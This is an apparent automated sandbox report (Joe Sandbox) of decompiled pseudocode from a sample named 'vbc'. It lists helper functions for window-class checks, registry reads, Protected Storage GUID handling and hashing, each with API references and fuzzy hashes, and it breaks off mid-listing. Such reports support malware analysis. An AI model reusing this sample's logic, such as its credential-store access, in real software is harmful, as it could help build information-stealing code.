                                                                                                              Function 004062D1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 58%
                                                                                                              			E004062D1(struct HWND__* _a4) {
				void _v259;
				char _v260;
				signed int _t10;

				_v260 = 0;
				memset( &_v259, 0, 0xff);
				GetClassNameA(_a4,  &_v260, 0xff);
				_t10 =  &_v260;
				_push("edit");
				_push(_t10);
				L004115B2();
				asm("sbb eax, eax");
				return  ~_t10 + 1;
			}






                                                                                                              0x004062ea
                                                                                                              0x004062f1
                                                                                                              0x00406304
                                                                                                              0x0040630a
                                                                                                              0x00406310
                                                                                                              0x00406315
                                                                                                              0x00406316
                                                                                                              0x0040631f
                                                                                                              0x00406324

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004062F1
                                                                                                              • GetClassNameA.USER32(?,00000000,000000FF), ref: 00406304
                                                                                                              • _stricmp.MSVCRT(00000000,edit), ref: 00406316
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ClassName_stricmpmemset
                                                                                                              • String ID: edit
                                                                                                              • API String ID: 3665161774-2167791130
                                                                                                              • Opcode ID: f6364a9e82c342bcd76c39a965b38e05be617d7d52f0a224c2f99095176bc218
                                                                                                              • Instruction ID: 6efc07277a00def775dca084f59963aaad452a70fda198cb5006c56c80a8bddd
                                                                                                              • Opcode Fuzzy Hash: f6364a9e82c342bcd76c39a965b38e05be617d7d52f0a224c2f99095176bc218
                                                                                                              • Instruction Fuzzy Hash: 75E09BB3C4412A7ADB21A764DC05FE53BAC9F59305F0001B6BD46E10D5E5B497C887A5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EDAC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040EDAC() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x417520 == 0) {
					_t1 = LoadLibraryA("shell32.dll");
					 *0x417520 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathA");
						 *0x41751c = _t2;
						return _t2;
					}
				}
				return _t1;
			}





                                                                                                              0x0040edb3
                                                                                                              0x0040edba
                                                                                                              0x0040edc2
                                                                                                              0x0040edc7
                                                                                                              0x0040edcf
                                                                                                              0x0040edd5
                                                                                                              0x00000000
                                                                                                              0x0040edd5
                                                                                                              0x0040edc7
                                                                                                              0x0040edda

                                                                                                              APIs
                                                                                                              • LoadLibraryA.KERNEL32(shell32.dll), ref: 0040EDBA
                                                                                                              • GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA,?,00000000), ref: 0040EDCF
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressLibraryLoadProc
                                                                                                              • String ID: SHGetSpecialFolderPathA$shell32.dll
                                                                                                              • API String ID: 2574300362-543337301
                                                                                                              • Opcode ID: 8c8e9a4ff32791e3d6bd34cb9d8ce11c35f1ef255cc83771f6bc322d1b4004da
                                                                                                              • Instruction ID: 9298da647e7f97f850720a93b521a1101e1548fa407b312faad19db7241a3124
                                                                                                              • Opcode Fuzzy Hash: 8c8e9a4ff32791e3d6bd34cb9d8ce11c35f1ef255cc83771f6bc322d1b4004da
                                                                                                              • Instruction Fuzzy Hash: 4BD0C970649202EFC7008F21AE097813ABABB18703F10C537A506E1AA0F7B88190CF5C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040FE05 Relevance: 6.3, APIs: 5, Instructions: 81COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 87%
                                                                                                              			E0040FE05(intOrPtr* __esi, void* __eflags) {
				void* _t27;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t44;

				_t44 = __esi;
				 *__esi = 0x414288;
				_t27 = E00406549(0x46c, __esi);
				_push(0x20);
				L004115D0();
				if(_t27 == 0) {
					_t28 = 0;
				} else {
					_t28 = E00406A2C(_t27);
				}
				_push(0x20);
				 *((intOrPtr*)(_t44 + 0x450)) = _t28;
				L004115D0();
				if(_t28 == 0) {
					_t29 = 0;
				} else {
					_t29 = E00406A2C(_t28);
				}
				_push(0x14);
				 *((intOrPtr*)(_t44 + 0x454)) = _t29;
				L004115D0();
				if(_t29 == 0) {
					_t29 = 0;
				} else {
					 *((intOrPtr*)(_t29 + 0xc)) = 0;
					 *_t29 = 0;
					 *((intOrPtr*)(_t29 + 4)) = 0;
					 *((intOrPtr*)(_t29 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t29 + 8)) = 0;
				}
				_push(0x14);
				 *((intOrPtr*)(_t44 + 0x458)) = _t29;
				L004115D0();
				if(_t29 == 0) {
					_t29 = 0;
				} else {
					 *((intOrPtr*)(_t29 + 0xc)) = 0;
					 *_t29 = 0;
					 *((intOrPtr*)(_t29 + 4)) = 0;
					 *((intOrPtr*)(_t29 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t29 + 8)) = 0;
				}
				_push(0x14);
				 *((intOrPtr*)(_t44 + 0x45c)) = _t29;
				L004115D0();
				if(_t29 == 0) {
					_t29 = 0;
				} else {
					 *((intOrPtr*)(_t29 + 0xc)) = 0;
					 *_t29 = 0;
					 *((intOrPtr*)(_t29 + 4)) = 0;
					 *((intOrPtr*)(_t29 + 0x10)) = 0x100;
					 *((intOrPtr*)(_t29 + 8)) = 0;
				}
				 *((intOrPtr*)(_t44 + 0x460)) = _t29;
				 *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x450)) + 0x14)) = 0x2000;
				 *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x454)) + 0x14)) = 0x2000;
				 *((intOrPtr*)(_t44 + 0x3c)) = 1;
				 *((intOrPtr*)(_t44 + 0x40)) = 1;
				 *((intOrPtr*)(_t44 + 0x44)) = 1;
				 *((intOrPtr*)(_t44 + 0x48)) = 1;
				return _t44;
			}







                                                                                                              0x0040fe05
                                                                                                              0x0040fe0d
                                                                                                              0x0040fe13
                                                                                                              0x0040fe18
                                                                                                              0x0040fe1a
                                                                                                              0x0040fe25
                                                                                                              0x0040fe2e
                                                                                                              0x0040fe27
                                                                                                              0x0040fe27
                                                                                                              0x0040fe27
                                                                                                              0x0040fe30
                                                                                                              0x0040fe32
                                                                                                              0x0040fe38
                                                                                                              0x0040fe40
                                                                                                              0x0040fe49
                                                                                                              0x0040fe42
                                                                                                              0x0040fe42
                                                                                                              0x0040fe42
                                                                                                              0x0040fe4b
                                                                                                              0x0040fe4d
                                                                                                              0x0040fe53
                                                                                                              0x0040fe60
                                                                                                              0x0040fe72
                                                                                                              0x0040fe62
                                                                                                              0x0040fe62
                                                                                                              0x0040fe65
                                                                                                              0x0040fe67
                                                                                                              0x0040fe6a
                                                                                                              0x0040fe6d
                                                                                                              0x0040fe6d
                                                                                                              0x0040fe74
                                                                                                              0x0040fe76
                                                                                                              0x0040fe7c
                                                                                                              0x0040fe84
                                                                                                              0x0040fe96
                                                                                                              0x0040fe86
                                                                                                              0x0040fe86
                                                                                                              0x0040fe89
                                                                                                              0x0040fe8b
                                                                                                              0x0040fe8e
                                                                                                              0x0040fe91
                                                                                                              0x0040fe91
                                                                                                              0x0040fe98
                                                                                                              0x0040fe9a
                                                                                                              0x0040fea0
                                                                                                              0x0040fea8
                                                                                                              0x0040feba
                                                                                                              0x0040feaa
                                                                                                              0x0040feaa
                                                                                                              0x0040fead
                                                                                                              0x0040feaf
                                                                                                              0x0040feb2
                                                                                                              0x0040feb5
                                                                                                              0x0040feb5
                                                                                                              0x0040fec2
                                                                                                              0x0040fecd
                                                                                                              0x0040fed6
                                                                                                              0x0040fedd
                                                                                                              0x0040fee0
                                                                                                              0x0040fee3
                                                                                                              0x0040fee6
                                                                                                              0x0040feec

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$memset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1860491036-0
                                                                                                              • Opcode ID: 1f0eb692bf4756200005e253d6c900365ae8e51c0a9d530db6412e15fefa842e
                                                                                                              • Instruction ID: d938b1c2a289ef47e5423cea375f2860c04713c819a512dfc676868f3ea794ac
                                                                                                              • Opcode Fuzzy Hash: 1f0eb692bf4756200005e253d6c900365ae8e51c0a9d530db6412e15fefa842e
                                                                                                              • Instruction Fuzzy Hash: CC3146B0A107008FD7609F3AD845666FBE4EF80355F25887FD20ADB6B2E7B8D4448B59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040BD0B Relevance: 6.3, APIs: 5, Instructions: 50COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040BD0B(void* __edi, void* __esi, void* _a4) {
				signed int _t13;
				signed int _t25;
				int _t26;
				char* _t30;
				void* _t31;
				void* _t33;
				void* _t35;

				_t35 = __esi;
				_t25 = 0x3f;
				_t13 =  *(__esi + 0x10) >> 0x00000003 & _t25;
				_t30 = __esi + 0x18 + _t13;
				 *_t30 = 0x80;
				_t26 = _t25 - _t13;
				_t31 = _t30 + 1;
				if(_t26 >= 8) {
					memset(_t31, 0, _t26 + 0xfffffff8);
				} else {
					memset(_t31, 0, _t26);
					_t33 = __esi + 0x18;
					E0040BD8A(_t33, __esi);
					memset(_t33, 0, 0x38);
				}
				 *((intOrPtr*)(_t35 + 0x50)) =  *((intOrPtr*)(_t35 + 0x10));
				 *((intOrPtr*)(_t35 + 0x54)) =  *((intOrPtr*)(_t35 + 0x14));
				E0040BD8A(_t35 + 0x18, _t35);
				memcpy(_a4, _t35, 0x10);
				return memset(_t35, 0, 4);
			}










                                                                                                              0x0040bd0b
                                                                                                              0x0040bd13
                                                                                                              0x0040bd14
                                                                                                              0x0040bd16
                                                                                                              0x0040bd1a
                                                                                                              0x0040bd1d
                                                                                                              0x0040bd1f
                                                                                                              0x0040bd23
                                                                                                              0x0040bd52
                                                                                                              0x0040bd25
                                                                                                              0x0040bd2a
                                                                                                              0x0040bd2f
                                                                                                              0x0040bd36
                                                                                                              0x0040bd40
                                                                                                              0x0040bd48
                                                                                                              0x0040bd5d
                                                                                                              0x0040bd63
                                                                                                              0x0040bd6b
                                                                                                              0x0040bd77
                                                                                                              0x0040bd89

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$memcpy
                                                                                                              • String ID:
                                                                                                              • API String ID: 368790112-0
                                                                                                              • Opcode ID: 4c1dce2a3317b4880715cd557b1b90e7212d21989bb675327cb4115bdd69e9ea
                                                                                                              • Instruction ID: 14e83d3a51f9c3b731822f35bbce0da2433a64988b134a744f8d54487411a0b4
                                                                                                              • Opcode Fuzzy Hash: 4c1dce2a3317b4880715cd557b1b90e7212d21989bb675327cb4115bdd69e9ea
                                                                                                              • Instruction Fuzzy Hash: 6F01F5B1680B0026D2356B26CC02F9A77A5AFA0714F000B1EF643666D1D7ACE244869C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040246C Relevance: 6.1, APIs: 4, Instructions: 127COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040246C(void* __eax, void* __ecx, intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				void _v2058;
				char _v2060;
				char _v2069;
				char _v2070;
				char _v2071;
				char _v2072;
				char _v3086;
				signed char _v3090;
				char _v3091;
				char _v3092;
				char* _v3096;
				char _v3100;
				short* _v3104;
				int _v3108;
				char _v3112;
				void* __ebx;
				void* _t49;
				signed int _t61;
				short* _t76;
				void* _t83;
				signed int _t87;
				void* _t90;

				_t83 = __eax;
				_t73 = 0;
				 *_a12 = 0;
				_v3112 = 0x400;
				_t49 = E0040EBA3(__ecx, _a4, _a8,  &_v3092,  &_v3112);
				_t90 = (_t87 & 0xfffffff8) - 0xc28 + 0x10;
				if(_t49 == 0) {
					_v2069 = 0;
					_v2070 = 0;
					_v2071 = 0;
					_v2072 = 0;
					if(_v3092 != 1) {
						if(_v3092 == 2 &&  *((intOrPtr*)(_t83 + 0xa94)) != 0) {
							_v3100 = _v3112 - 1;
							_v3096 =  &_v3091;
							if(E00404811(_t83 + 0x890,  &_v3100, 0,  &_v3108) != 0) {
								WideCharToMultiByte(0, 0, _v3104, _v3108, _a12, 0x7f, 0, 0);
								LocalFree(_v3104);
							}
						}
					} else {
						if( *((intOrPtr*)(_t83 + 0x888)) != 0) {
							if(_a16 == 0) {
								E0040E988(_a12, _t83 + 0x87c,  &_v3090, 0x7f, 0);
							} else {
								_v2060 = 0;
								memset( &_v2058, 0, 0x800);
								_t90 = _t90 + 0xc;
								_t76 =  &_v2060;
								E0040E988(_t76, _t83 + 0x87c,  &_v3091, 0x400, 1);
								WideCharToMultiByte(0, 0, _t76, 0xffffffff, _a12, 0x7f, 0, 0);
							}
							_t73 = 0;
						}
						_t79 = _a12;
						if( *_a12 == _t73 && _v3112 >= 7 && _v3092 == 1 && _v3091 == 1) {
							_t61 = _v3090 & 0x000000ff;
							if(_t61 > 1 && _v3112 >= _t61 + 6) {
								E00401DFD(_t79,  &_v3086, _t61);
							}
						}
					}
				}
				return 0 |  *_a12 != _t73;
			}

























                                                                                                              0x0040247a
                                                                                                              0x0040247f
                                                                                                              0x00402481
                                                                                                              0x00402490
                                                                                                              0x0040249b
                                                                                                              0x004024a0
                                                                                                              0x004024a5
                                                                                                              0x004024b0
                                                                                                              0x004024b7
                                                                                                              0x004024be
                                                                                                              0x004024c5
                                                                                                              0x004024cc
                                                                                                              0x0040259e
                                                                                                              0x004025ad
                                                                                                              0x004025b5
                                                                                                              0x004025d1
                                                                                                              0x004025e4
                                                                                                              0x004025ee
                                                                                                              0x004025ee
                                                                                                              0x004025d1
                                                                                                              0x004024d2
                                                                                                              0x004024d8
                                                                                                              0x004024dd
                                                                                                              0x00402546
                                                                                                              0x004024df
                                                                                                              0x004024ed
                                                                                                              0x004024f5
                                                                                                              0x004024fa
                                                                                                              0x00402510
                                                                                                              0x00402517
                                                                                                              0x0040252c
                                                                                                              0x0040252c
                                                                                                              0x0040254b
                                                                                                              0x0040254b
                                                                                                              0x0040254d
                                                                                                              0x00402552
                                                                                                              0x00402575
                                                                                                              0x0040257d
                                                                                                              0x0040258f
                                                                                                              0x00402594
                                                                                                              0x0040257d
                                                                                                              0x00402552
                                                                                                              0x004024cc
                                                                                                              0x00402603

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EBA3: RegQueryValueExA.ADVAPI32 ref: 0040EBB9
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000007F,00000000,00000000,?,?,00000400,00000001), ref: 0040252C
                                                                                                              • memset.MSVCRT ref: 004024F5
                                                                                                                • Part of subcall function 0040E988: UuidFromStringA.RPCRT4(220D5CD0-853A-11D0-84BC-00C04FD43F8F,00000001), ref: 0040E9A5
                                                                                                                • Part of subcall function 0040E988: UuidFromStringA.RPCRT4(417E2D75-84BD-11D0-84BB-00C04FD43F8F,?), ref: 0040E9C6
                                                                                                                • Part of subcall function 0040E988: memcpy.MSVCRT ref: 0040EA04
                                                                                                                • Part of subcall function 0040E988: CoTaskMemFree.OLE32(00000000), ref: 0040EA13
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000002,?,0000007F,00000000,00000000,00000002,00000000,?), ref: 004025E4
                                                                                                              • LocalFree.KERNEL32(?), ref: 004025EE
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharFreeFromMultiStringUuidWide$LocalQueryTaskValuememcpymemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 3503910906-0
                                                                                                              • Opcode ID: bb52322aa56186edb046b50904625ef5fe77f2ed0f2dccde0d18aa7e90448571
                                                                                                              • Instruction ID: 8b275e149f62785490509d2466391155d2af3f8991a5b00387cc308873e1222d
                                                                                                              • Opcode Fuzzy Hash: bb52322aa56186edb046b50904625ef5fe77f2ed0f2dccde0d18aa7e90448571
                                                                                                              • Instruction Fuzzy Hash: 7041B4B1408384BFD711DB608D44AEBBBDCBB48308F44493EFA98A21D1D678DA54DB5A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B3C4 Relevance: 6.1, APIs: 4, Instructions: 115windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 98%
                                                                                                              			E0040B3C4(intOrPtr __ecx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void _v263;
				char _v264;
				void* __edi;
				void* __esi;
				signed int _t42;
				signed int _t45;
				intOrPtr* _t60;
				signed char _t62;
				intOrPtr _t63;
				int _t65;

				_t61 = __ecx;
				_t60 = _a8;
				_t63 = __ecx;
				_v8 = __ecx;
				if( *(_t60 + 4) == 0x103 &&  *((intOrPtr*)(_t60 + 8)) == 0xfffffff4) {
					_t42 = E00408BA0( *((intOrPtr*)(__ecx + 0x370)), _t60);
					 *((intOrPtr*)(_t63 + 0x10c)) = 1;
					 *(_t63 + 0x110) = _t42;
				}
				if(_a4 == 0x101 &&  *((intOrPtr*)(_t60 + 8)) == 0xfffffffe &&  *((intOrPtr*)(_t60 + 0xc)) == 1) {
					_v264 = 0;
					memset( &_v263, 0, 0xff);
					E00401000(_t61,  &_v264, 0x412440);
					_t42 = E00406523( *((intOrPtr*)(_v8 + 0x108)),  &_v264);
					_t63 = _v8;
				}
				_t65 = 0;
				if( *((intOrPtr*)(_t60 + 8)) == 0xfffffdf8) {
					_t42 = SendMessageA( *(_t63 + 0x118), 0x423, 0, 0);
					if( *_t60 == _t42) {
						_t42 = GetMenuStringA( *(_t63 + 0x11c),  *(_t60 + 4), _t60 + 0x10, 0x4f, 0);
						 *((intOrPtr*)(_t60 + 0x60)) = 0;
					}
				}
				if(_a4 != 0x103) {
					L27:
					return _t42;
				} else {
					_t80 =  *((intOrPtr*)(_t60 + 8)) - 0xfffffffd;
					if( *((intOrPtr*)(_t60 + 8)) == 0xfffffffd) {
						_t42 = E0040AEAA(_t61, _t63, _t63, _t80);
						_t65 = 0;
					}
					if( *((intOrPtr*)(_t60 + 8)) == 0xffffff94) {
						_t42 = E00408ACB( *(_t60 + 0x10), _t61,  *((intOrPtr*)(_t63 + 0x370)), _t65);
						_t65 = 0;
					}
					if( *((intOrPtr*)(_t60 + 8)) != 0xffffff9b) {
						goto L27;
					} else {
						if( *((intOrPtr*)( *((intOrPtr*)(_t63 + 0x370)) + 0x1b8)) == _t65) {
							_t62 = 2;
							_t45 =  *(_t60 + 0x14) & _t62;
							__eflags = _t45;
							if(_t45 == 0) {
								L20:
								__eflags = _t45 - _t62;
								if(_t45 == _t62) {
									L23:
									_t42 = 0;
									__eflags = 0;
									L24:
									if(_t42 == _t65) {
										goto L27;
									}
									_t42 = _t63 + 0x25c;
									if( *_t42 != _t65) {
										goto L27;
									}
									 *_t42 = 1;
									return PostMessageA( *(_t63 + 0x108), 0x402, _t65, _t65);
								}
								__eflags =  *(_t60 + 0x18) & _t62;
								if(( *(_t60 + 0x18) & _t62) == 0) {
									goto L23;
								}
								L22:
								_t42 = 1;
								goto L24;
							}
							__eflags =  *(_t60 + 0x18) & _t62;
							if(( *(_t60 + 0x18) & _t62) == 0) {
								goto L22;
							}
							goto L20;
						}
						asm("sbb eax, eax");
						_t42 =  ~( ~(( *(_t60 + 0x18) ^  *(_t60 + 0x14)) & 0x0000f002));
						goto L24;
					}
				}
			}














                                                                                                              0x0040b3c4
                                                                                                              0x0040b3ce
                                                                                                              0x0040b3da
                                                                                                              0x0040b3dc
                                                                                                              0x0040b3df
                                                                                                              0x0040b3ef
                                                                                                              0x0040b3f4
                                                                                                              0x0040b3fe
                                                                                                              0x0040b3fe
                                                                                                              0x0040b40b
                                                                                                              0x0040b427
                                                                                                              0x0040b42e
                                                                                                              0x0040b43e
                                                                                                              0x0040b44f
                                                                                                              0x0040b454
                                                                                                              0x0040b457
                                                                                                              0x0040b45a
                                                                                                              0x0040b463
                                                                                                              0x0040b472
                                                                                                              0x0040b47a
                                                                                                              0x0040b48c
                                                                                                              0x0040b492
                                                                                                              0x0040b492
                                                                                                              0x0040b47a
                                                                                                              0x0040b49c
                                                                                                              0x0040b539
                                                                                                              0x0040b539
                                                                                                              0x0040b4a2
                                                                                                              0x0040b4a2
                                                                                                              0x0040b4a6
                                                                                                              0x0040b4aa
                                                                                                              0x0040b4af
                                                                                                              0x0040b4af
                                                                                                              0x0040b4b5
                                                                                                              0x0040b4c1
                                                                                                              0x0040b4c6
                                                                                                              0x0040b4c6
                                                                                                              0x0040b4cc
                                                                                                              0x00000000
                                                                                                              0x0040b4ce
                                                                                                              0x0040b4da
                                                                                                              0x0040b4f4
                                                                                                              0x0040b4f5
                                                                                                              0x0040b4f5
                                                                                                              0x0040b4f7
                                                                                                              0x0040b4fe
                                                                                                              0x0040b4fe
                                                                                                              0x0040b500
                                                                                                              0x0040b50c
                                                                                                              0x0040b50c
                                                                                                              0x0040b50c
                                                                                                              0x0040b50e
                                                                                                              0x0040b510
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040b512
                                                                                                              0x0040b51a
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040b529
                                                                                                              0x00000000
                                                                                                              0x0040b52f
                                                                                                              0x0040b502
                                                                                                              0x0040b505
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040b507
                                                                                                              0x0040b509
                                                                                                              0x00000000
                                                                                                              0x0040b509
                                                                                                              0x0040b4f9
                                                                                                              0x0040b4fc
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040b4fc
                                                                                                              0x0040b4e9
                                                                                                              0x0040b4eb
                                                                                                              0x00000000
                                                                                                              0x0040b4eb
                                                                                                              0x0040b4cc

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Message$MenuPostSendStringmemset
                                                                                                              • String ID:
                                                                                                              • API String ID: 3798638045-0
                                                                                                              • Opcode ID: c3aa6ddd336313682f51672c6081f6f8049648b04dcffedc212cd8d1236b5249
                                                                                                              • Instruction ID: e99ea3cd5ae45d968ce1bb78ba156cefd6297a3afaf0c32d246f8b1269deedf3
                                                                                                              • Opcode Fuzzy Hash: c3aa6ddd336313682f51672c6081f6f8049648b04dcffedc212cd8d1236b5249
                                                                                                              • Instruction Fuzzy Hash: 5041F430600611EBCB25DF24CC85A96B7A4FF14324F1482B6E958AB2C6C378DE91CBDC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A119 Relevance: 6.1, APIs: 4, Instructions: 114stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 94%
                                                                                                              			E0040A119(void* __eax, void* __eflags, char* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				signed int _t63;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr _t74;
				signed int _t79;
				void* _t84;
				signed int _t86;
				char* _t98;
				void* _t100;
				void* _t102;
				void* _t104;
				void* _t106;
				void* _t107;

				_t84 = __eax;
				E0040892D(__eax, __eflags);
				_t86 = 0;
				_v12 = 0;
				while(1) {
					_t98 = _a4;
					if( *((intOrPtr*)(_t86 + _t98)) - 0x30 > 9) {
						break;
					}
					_t86 = _t86 + 1;
					if(_t86 < 1) {
						continue;
					}
					if(strlen(_t98) >= 3) {
						break;
					}
					_t79 = atoi(_a4);
					if(_t79 >= 0 && _t79 <  *((intOrPtr*)(_t84 + 0x20))) {
						_v12 =  *((intOrPtr*)( *( *((intOrPtr*)(_t84 + 0x24)) + _t79 * 4) * 0x14 +  *((intOrPtr*)(_t84 + 0x1b4))));
					}
					L21:
					if(_a8 != 0) {
						_v12 = _v12 | 0x00001000;
					}
					_t63 = _v12;
					 *0x41748c =  *0x41748c + 1;
					 *((intOrPtr*)(0x417490 +  *0x41748c * 4)) = _t63;
					return _t63;
				}
				_t104 = 0;
				__eflags =  *((intOrPtr*)(_t84 + 0x1b0));
				_v16 = 0;
				_v8 = 0;
				if( *((intOrPtr*)(_t84 + 0x1b0)) <= 0) {
					L14:
					_t100 = 0;
					__eflags =  *((intOrPtr*)(_t84 + 0x1b0));
					_v8 = 0;
					if( *((intOrPtr*)(_t84 + 0x1b0)) <= 0) {
						L20:
						goto L21;
					}
					_t106 = 0;
					__eflags = 0;
					do {
						_v20 = E004069D2(0, _a4);
						_t67 = E004069D2(0, _a4);
						__eflags = _v20;
						if(_v20 >= 0) {
							L18:
							_v12 =  *((intOrPtr*)(_t106 +  *((intOrPtr*)(_t84 + 0x1b4))));
							goto L19;
						}
						__eflags = _t67;
						if(_t67 < 0) {
							goto L19;
						}
						goto L18;
						L19:
						_v8 = _v8 + 1;
						_t100 = _t100 + 0x10;
						_t106 = _t106 + 0x14;
						__eflags = _v8 -  *((intOrPtr*)(_t84 + 0x1b0));
					} while (_v8 <  *((intOrPtr*)(_t84 + 0x1b0)));
					goto L20;
				}
				_t102 = 0;
				__eflags = 0;
				do {
					_t72 =  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x1b4)) + _t104 + 0x10));
					_push(_a4);
					_push(_t72);
					L004115C4();
					_push(_a4);
					_v20 = _t72;
					_t74 =  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x34)) + _t102 + 0xc));
					_push(_t74);
					L004115C4();
					_t107 = _t107 + 0x10;
					__eflags = _v20;
					if(_v20 == 0) {
						L11:
						_v12 =  *(_t104 +  *((intOrPtr*)(_t84 + 0x1b4)));
						_v16 = 1;
						goto L12;
					}
					__eflags = _t74;
					if(_t74 != 0) {
						goto L12;
					}
					goto L11;
					L12:
					_v8 = _v8 + 1;
					_t102 = _t102 + 0x10;
					_t104 = _t104 + 0x14;
					__eflags = _v8 -  *((intOrPtr*)(_t84 + 0x1b0));
				} while (_v8 <  *((intOrPtr*)(_t84 + 0x1b0)));
				__eflags = _v16;
				if(_v16 != 0) {
					goto L20;
				}
				goto L14;
			}





















                                                                                                              0x0040a120
                                                                                                              0x0040a122
                                                                                                              0x0040a127
                                                                                                              0x0040a129
                                                                                                              0x0040a12c
                                                                                                              0x0040a12c
                                                                                                              0x0040a136
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040a138
                                                                                                              0x0040a13c
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040a148
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040a14d
                                                                                                              0x0040a155
                                                                                                              0x0040a176
                                                                                                              0x0040a176
                                                                                                              0x0040a257
                                                                                                              0x0040a25c
                                                                                                              0x0040a25e
                                                                                                              0x0040a25e
                                                                                                              0x0040a26b
                                                                                                              0x0040a26e
                                                                                                              0x0040a274
                                                                                                              0x0040a27c
                                                                                                              0x0040a27c
                                                                                                              0x0040a17f
                                                                                                              0x0040a181
                                                                                                              0x0040a188
                                                                                                              0x0040a18b
                                                                                                              0x0040a18e
                                                                                                              0x0040a1f2
